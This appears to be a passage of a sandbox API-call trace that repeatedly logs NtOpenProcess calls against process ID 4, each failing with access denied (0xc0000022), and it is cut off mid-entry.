NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.121] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.122] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.123] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.124] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.125] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, 